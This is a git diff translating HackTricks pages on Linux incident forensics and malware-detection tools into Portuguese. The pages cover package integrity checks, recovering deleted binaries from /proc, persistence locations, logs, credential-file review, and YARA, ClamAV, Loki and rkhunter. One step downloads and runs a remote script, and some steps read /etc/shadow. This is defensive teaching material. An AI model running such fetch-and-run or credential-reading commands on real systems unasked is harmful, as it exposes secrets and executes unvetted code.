-Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files.
-
-- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check.
-- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues.
-
-### Malware/Rootkit Detectors
-
-Read the following page to learn about tools that can be useful to find malware:
+Leia a página a seguir para aprender sobre ferramentas que podem ser úteis para encontrar malware:
 
 {{#ref}}
 malware-analysis.md
 {{#endref}}
 
-## Search installed programs
+## Pesquisa de programas instalados
 
-To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories.
+Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
 
-- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information.
-- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages.
-
-To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs.
+- Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas.
+- Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados.
 
+Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados.
 ```bash
 # Debian package and log details
 cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
 # Find exacuable files
 find / -type f -executable | grep 
 ```
+## Recuperar Binários em Execução Deletados
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
-## Recover Deleted Running Binaries
-
-Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it
-
+Imagine um processo que foi executado de /tmp/exec e depois deletado. É possível extrair isso.
 ```bash
 cd /proc/3746/ #PID with the exec file deleted
 head -1 maps #Get address of the file. It was 08048000-08049000
 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
 ```
+## Inspecionar locais de Autostart
 
-## Inspect Autostart locations
-
-### Scheduled Tasks
-
+### Tarefas Agendadas
 ```bash
 cat /var/spool/cron/crontabs/*  \
 /var/spool/cron/atjobs \
@@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/*  \
 #MacOS
 ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
 ```
+### Serviços
 
-### Services
+Caminhos onde um malware poderia ser instalado como um serviço:
 
-Paths where a malware could be installed as a service:
+- **/etc/inittab**: Chama scripts de inicialização como rc.sysinit, direcionando para scripts de inicialização.
+- **/etc/rc.d/** e **/etc/rc.boot/**: Contêm scripts para inicialização de serviços, sendo o último encontrado em versões mais antigas do Linux.
+- **/etc/init.d/**: Usado em certas versões do Linux como Debian para armazenar scripts de inicialização.
+- Os serviços também podem ser ativados via **/etc/inetd.conf** ou **/etc/xinetd/**, dependendo da variante do Linux.
+- **/etc/systemd/system**: Um diretório para scripts do gerenciador de sistema e serviços.
+- **/etc/systemd/system/multi-user.target.wants/**: Contém links para serviços que devem ser iniciados em um nível de execução multiusuário.
+- **/usr/local/etc/rc.d/**: Para serviços personalizados ou de terceiros.
+- **\~/.config/autostart/**: Para aplicativos de inicialização automática específicos do usuário, que podem ser um esconderijo para malware direcionado a usuários.
+- **/lib/systemd/system/**: Arquivos de unidade padrão do sistema fornecidos por pacotes instalados.
 
-- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts.
-- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions.
-- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts.
-- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant.
-- **/etc/systemd/system**: A directory for system and service manager scripts.
-- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel.
-- **/usr/local/etc/rc.d/**: For custom or third-party services.
-- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware.
-- **/lib/systemd/system/**: System-wide default unit files provided by installed packages.
+### Módulos do Kernel
 
-### Kernel Modules
+Módulos do kernel Linux, frequentemente utilizados por malware como componentes de rootkit, são carregados na inicialização do sistema. Os diretórios e arquivos críticos para esses módulos incluem:
 
-Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include:
+- **/lib/modules/$(uname -r)**: Contém módulos para a versão do kernel em execução.
+- **/etc/modprobe.d**: Contém arquivos de configuração para controlar o carregamento de módulos.
+- **/etc/modprobe** e **/etc/modprobe.conf**: Arquivos para configurações globais de módulos.
 
-- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version.
-- **/etc/modprobe.d**: Contains configuration files to control module loading.
-- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings.
+### Outros Locais de Autoinicialização
 
-### Other Autostart Locations
+O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware:
 
-Linux employs various files for automatically executing programs upon user login, potentially harboring malware:
+- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário.
+- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login.
+- **/etc/rc.local**: Executa após todos os serviços do sistema terem sido iniciados, marcando o fim da transição para um ambiente multiusuário.
 
-- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login.
-- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login.
-- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment.
+## Examinar Logs
 
-## Examine Logs
+Sistemas Linux rastreiam atividades de usuários e eventos do sistema através de vários arquivos de log. Esses logs são fundamentais para identificar acessos não autorizados, infecções por malware e outros incidentes de segurança. Os principais arquivos de log incluem:
 
-Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include:
-
-- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities.
-- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins.
-  - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events.
-- **/var/log/boot.log**: Contains system startup messages.
-- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services.
-- **/var/log/kern.log**: Stores kernel messages, including errors and warnings.
-- **/var/log/dmesg**: Holds device driver messages.
-- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations.
-- **/var/log/cron**: Logs cron job executions.
-- **/var/log/daemon.log**: Tracks background service activities.
-- **/var/log/btmp**: Documents failed login attempts.
-- **/var/log/httpd/**: Contains Apache HTTPD error and access logs.
-- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities.
-- **/var/log/xferlog**: Records FTP file transfers.
-- **/var/log/**: Always check for unexpected logs here.
+- **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat): Capturam mensagens e atividades em todo o sistema.
+- **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat): Registram tentativas de autenticação, logins bem-sucedidos e falhados.
+- Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticação relevantes.
+- **/var/log/boot.log**: Contém mensagens de inicialização do sistema.
+- **/var/log/maillog** ou **/var/log/mail.log**: Registra atividades do servidor de email, útil para rastrear serviços relacionados a email.
+- **/var/log/kern.log**: Armazena mensagens do kernel, incluindo erros e avisos.
+- **/var/log/dmesg**: Contém mensagens do driver de dispositivo.
+- **/var/log/faillog**: Registra tentativas de login falhadas, auxiliando em investigações de violação de segurança.
+- **/var/log/cron**: Registra execuções de jobs do cron.
+- **/var/log/daemon.log**: Rastreia atividades de serviços em segundo plano.
+- **/var/log/btmp**: Documenta tentativas de login falhadas.
+- **/var/log/httpd/**: Contém logs de erro e acesso do Apache HTTPD.
+- **/var/log/mysqld.log** ou **/var/log/mysql.log**: Registra atividades do banco de dados MySQL.
+- **/var/log/xferlog**: Registra transferências de arquivos FTP.
+- **/var/log/**: Sempre verifique se há logs inesperados aqui.
 
 > [!NOTE]
-> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering.
+> Logs do sistema Linux e subsistemas de auditoria podem ser desativados ou excluídos em um incidente de intrusão ou malware. Como os logs em sistemas Linux geralmente contêm algumas das informações mais úteis sobre atividades maliciosas, intrusos rotineiramente os excluem. Portanto, ao examinar os arquivos de log disponíveis, é importante procurar lacunas ou entradas fora de ordem que possam ser uma indicação de exclusão ou adulteração.
 
-**Linux maintains a command history for each user**, stored in:
+**O Linux mantém um histórico de comandos para cada usuário**, armazenado em:
 
 - \~/.bash_history
 - \~/.zsh_history
@@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files.
 - \~/.python_history
 - \~/.\*\_history
 
-Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins.
+Além disso, o comando `last -Faiwx` fornece uma lista de logins de usuários. Verifique-o para logins desconhecidos ou inesperados.
 
-Check files that can grant extra rprivileges:
+Verifique arquivos que podem conceder privilégios extras:
 
-- Review `/etc/sudoers` for unanticipated user privileges that may have been granted.
-- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted.
-- Examine `/etc/groups` to identify any unusual group memberships or permissions.
-- Examine `/etc/passwd` to identify any unusual group memberships or permissions.
+- Revise `/etc/sudoers` para privilégios de usuário não antecipados que podem ter sido concedidos.
+- Revise `/etc/sudoers.d/` para privilégios de usuário não antecipados que podem ter sido concedidos.
+- Examine `/etc/groups` para identificar quaisquer associações ou permissões de grupo incomuns.
+- Examine `/etc/passwd` para identificar quaisquer associações ou permissões de grupo incomuns.
 
-Some apps alse generates its own logs:
+Alguns aplicativos também geram seus próprios logs:
 
-- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections.
-- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications.
-- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities.
-- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history.
-- **Open Office**: Check for recent document access that may indicate compromised files.
-- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized.
-- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities.
-- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed.
-- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories.
+- **SSH**: Examine _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ para conexões remotas não autorizadas.
+- **Gnome Desktop**: Verifique _\~/.recently-used.xbel_ para arquivos acessados recentemente via aplicativos Gnome.
+- **Firefox/Chrome**: Verifique o histórico do navegador e downloads em _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ para atividades suspeitas.
+- **VIM**: Revise _\~/.viminfo_ para detalhes de uso, como caminhos de arquivos acessados e histórico de pesquisa.
+- **Open Office**: Verifique o acesso recente a documentos que podem indicar arquivos comprometidos.
+- **FTP/SFTP**: Revise logs em _\~/.ftp_history_ ou _\~/.sftp_history_ para transferências de arquivos que podem ser não autorizadas.
+- **MySQL**: Investigue _\~/.mysql_history_ para consultas MySQL executadas, potencialmente revelando atividades não autorizadas no banco de dados.
+- **Less**: Analise _\~/.lesshst_ para histórico de uso, incluindo arquivos visualizados e comandos executados.
+- **Git**: Examine _\~/.gitconfig_ e projeto _.git/logs_ para alterações em repositórios.
 
-### USB Logs
+### Logs USB
 
-[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables.
+[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python 3 puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
 
-It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list).
-
-### Installation
+É interessante **saber todos os USBs que foram usados** e será mais útil se você tiver uma lista autorizada de USBs para encontrar "eventos de violação" (o uso de USBs que não estão dentro dessa lista).
 
+### Instalação
 ```bash
 pip3 install usbrip
 usbrip ids download #Download USB ID database
 ```
-
-### Examples
-
+### Exemplos
 ```bash
 usbrip events history #Get USB history of your curent linux machine
 usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
 usbrip ids download #Downlaod database
 usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
 ```
+Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
 
-More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+## Revisar Contas de Usuário e Atividades de Logon
 
-

+Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\
+Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos a usuários.\
+Finalmente, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+## Examinar o Sistema de Arquivos
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+### Analisando Estruturas de Sistema de Arquivos em Investigações de Malware
 
-## Review User Accounts and Logon Activities
+Ao investigar incidentes de malware, a estrutura do sistema de arquivos é uma fonte crucial de informações, revelando tanto a sequência de eventos quanto o conteúdo do malware. No entanto, os autores de malware estão desenvolvendo técnicas para dificultar essa análise, como modificar timestamps de arquivos ou evitar o sistema de arquivos para armazenamento de dados.
 
-Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\
-Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\
-Finally, look for accounts with **no passwords** or **easily guessed** passwords.
-
-## Examine File System
-
-### Analyzing File System Structures in Malware Investigation
-
-When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage.
-
-To counter these anti-forensic methods, it's essential to:
-
-- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data.
-- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers.
-- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files.
-- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content.
-- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers.
-- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans.
-- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together.
-- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware.
+Para combater esses métodos anti-forenses, é essencial:
 
+- **Realizar uma análise de linha do tempo completa** usando ferramentas como **Autopsy** para visualizar linhas do tempo de eventos ou `mactime` do **Sleuth Kit** para dados detalhados de linha do tempo.
+- **Investigar scripts inesperados** no $PATH do sistema, que podem incluir scripts shell ou PHP usados por atacantes.
+- **Examinar `/dev` em busca de arquivos atípicos**, pois tradicionalmente contém arquivos especiais, mas pode abrigar arquivos relacionados a malware.
+- **Procurar por arquivos ou diretórios ocultos** com nomes como ".. " (ponto ponto espaço) ou "..^G" (ponto ponto controle-G), que podem ocultar conteúdo malicioso.
+- **Identificar arquivos setuid root** usando o comando: `find / -user root -perm -04000 -print` Isso encontra arquivos com permissões elevadas, que podem ser abusadas por atacantes.
+- **Revisar timestamps de exclusão** nas tabelas de inode para detectar exclusões em massa de arquivos, possivelmente indicando a presença de rootkits ou trojans.
+- **Inspecionar inodes consecutivos** em busca de arquivos maliciosos próximos após identificar um, pois podem ter sido colocados juntos.
+- **Verificar diretórios binários comuns** (_/bin_, _/sbin_) em busca de arquivos recentemente modificados, pois estes podem ter sido alterados por malware.
 ````bash
 # List recent files in a directory:
 ls -laR --sort=time /bin```
@@ -381,58 +328,43 @@ ls -laR --sort=time /bin```
 # Sort files in a directory by inode:
 ls -lai /bin | sort -n```
 ````
-
 > [!NOTE]
-> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**.
+> Note que um **atacante** pode **modificar** o **tempo** para fazer **arquivos parecerem** **legítimos**, mas ele **não pode** modificar o **inode**. Se você descobrir que um **arquivo** indica que foi criado e modificado ao **mesmo tempo** que o restante dos arquivos na mesma pasta, mas o **inode** é **inesperadamente maior**, então os **timestamps desse arquivo foram modificados**.
 
-## Compare files of different filesystem versions
+## Comparar arquivos de diferentes versões de sistema de arquivos
 
-### Filesystem Version Comparison Summary
+### Resumo da Comparação de Versões de Sistema de Arquivos
 
-To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands:
-
-- **To find new files**, compare two directories:
+Para comparar versões de sistema de arquivos e identificar mudanças, usamos comandos simplificados `git diff`:
 
+- **Para encontrar novos arquivos**, compare dois diretórios:
 ```bash
 git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
 ```
-
-- **For modified content**, list changes while ignoring specific lines:
-
+- **Para conteúdo modificado**, liste as alterações ignorando linhas específicas:
 ```bash
 git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
 ```
-
-- **To detect deleted files**:
-
+- **Para detectar arquivos deletados**:
 ```bash
 git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
 ```
+- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), deletados (`D`) ou modificados (`M`).
+- `A`: Arquivos adicionados
+- `C`: Arquivos copiados
+- `D`: Arquivos deletados
+- `M`: Arquivos modificados
+- `R`: Arquivos renomeados
+- `T`: Mudanças de tipo (por exemplo, arquivo para symlink)
+- `U`: Arquivos não mesclados
+- `X`: Arquivos desconhecidos
+- `B`: Arquivos corrompidos
 
-- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files.
-  - `A`: Added files
-  - `C`: Copied files
-  - `D`: Deleted files
-  - `M`: Modified files
-  - `R`: Renamed files
-  - `T`: Type changes (e.g., file to symlink)
-  - `U`: Unmerged files
-  - `X`: Unknown files
-  - `B`: Broken files
-
-## References
+## Referências
 
 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
 - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
 - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+- **Livro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md
index c7edd6650..80a516e10 100644
--- a/src/forensics/basic-forensic-methodology/malware-analysis.md
+++ b/src/forensics/basic-forensic-methodology/malware-analysis.md
@@ -1,12 +1,12 @@
-# Malware Analysis
+# Análise de Malware
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Forensics CheatSheets
+## Cheatsheets de Forense
 
 [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
 
-## Online Services
+## Serviços Online
 
 - [VirusTotal](https://www.virustotal.com/gui/home/upload)
 - [HybridAnalysis](https://www.hybrid-analysis.com)
@@ -14,136 +14,119 @@
 - [Intezer](https://analyze.intezer.com)
 - [Any.Run](https://any.run/)
 
-## Offline Antivirus and Detection Tools
+## Ferramentas de Antivírus e Detecção Offline
 
 ### Yara
 
-#### Install
-
+#### Instalar
 ```bash
 sudo apt-get install -y yara
 ```
+#### Prepare regras
 
-#### Prepare rules
-
-Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
-Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware.
-
+Use este script para baixar e mesclar todas as regras yara de malware do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
+Crie o diretório _**rules**_ e execute-o. Isso criará um arquivo chamado _**malware_rules.yar**_ que contém todas as regras yara para malware.
 ```bash
 wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
 mkdir rules
 python malware_yara_rules.py
 ```
-
-#### Scan
-
+#### Escanear
 ```bash
 yara -w malware_rules.yar image  #Scan 1 file
 yara -w malware_rules.yar folder #Scan the whole folder
 ```
+#### YaraGen: Verifique se há malware e crie regras
 
-#### YaraGen: Check for malware and Create rules
-
-You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
-
+Você pode usar a ferramenta [**YaraGen**](https://github.com/Neo23x0/yarGen) para gerar regras yara a partir de um binário. Confira estes tutoriais: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
 ```bash
- python3 yarGen.py --update
- python3.exe yarGen.py --excludegood -m  ../../mals/
+python3 yarGen.py --update
+python3.exe yarGen.py --excludegood -m  ../../mals/
 ```
-
 ### ClamAV
 
-#### Install
-
+#### Instalar
 ```
 sudo apt-get install -y clamav
 ```
-
-#### Scan
-
+#### Escanear
 ```bash
 sudo freshclam      #Update rules
 clamscan filepath   #Scan 1 file
 clamscan folderpath #Scan the whole folder
 ```
-
 ### [Capa](https://github.com/mandiant/capa)
 
-**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as:
+**Capa** detecta **capacidades** potencialmente maliciosas em executáveis: PE, ELF, .NET. Assim, encontrará coisas como táticas do Att\&ck ou capacidades suspeitas, como:
 
-- check for OutputDebugString error
-- run as a service
-- create process
+- verificar erro de OutputDebugString
+- executar como um serviço
+- criar processo
 
-Get it int he [**Github repo**](https://github.com/mandiant/capa).
+Obtenha no [**Github repo**](https://github.com/mandiant/capa).
 
 ### IOCs
 
-IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\
-To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster.
+IOC significa Indicador de Compromisso. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou **malware** confirmado. As Blue Teams usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\
+Compartilhar essas definições é muito útil, pois quando o malware é identificado em um computador e um IOC para esse malware é criado, outras Blue Teams podem usá-lo para identificar o malware mais rapidamente.
 
-A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
-You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**.
+Uma ferramenta para criar ou modificar IOCs é [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
+Você pode usar ferramentas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**.
 
 ### Loki
 
-[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\
-Detection is based on four detection methods:
-
+[**Loki**](https://github.com/Neo23x0/Loki) é um scanner para Indicadores Simples de Compromisso.\
+A detecção é baseada em quatro métodos de detecção:
 ```
 1. File Name IOC
-   Regex match on full file path/name
+Regex match on full file path/name
 
 2. Yara Rule Check
-   Yara signature matches on file data and process memory
+Yara signature matches on file data and process memory
 
 3. Hash Check
-   Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
+Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
 
 4. C2 Back Connect Check
-   Compares process connection endpoints with C2 IOCs (new since version v.10)
+Compares process connection endpoints with C2 IOCs (new since version v.10)
 ```
-
 ### Linux Malware Detect
 
-[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources.
+[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, que é projetado em torno das ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusões na borda da rede para extrair malware que está sendo ativamente utilizado em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e recursos da comunidade de malware.
 
 ### rkhunter
 
-Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware.
-
+Ferramentas como [**rkhunter**](http://rkhunter.sourceforge.net) podem ser usadas para verificar o sistema de arquivos em busca de possíveis **rootkits** e malware.
 ```bash
 sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
 ```
-
 ### FLOSS
 
-[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques.
+[**FLOSS**](https://github.com/mandiant/flare-floss) é uma ferramenta que tenta encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.
 
 ### PEpper
 
-[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).
+[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas informações básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara).
 
 ### PEstudio
 
-[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques.
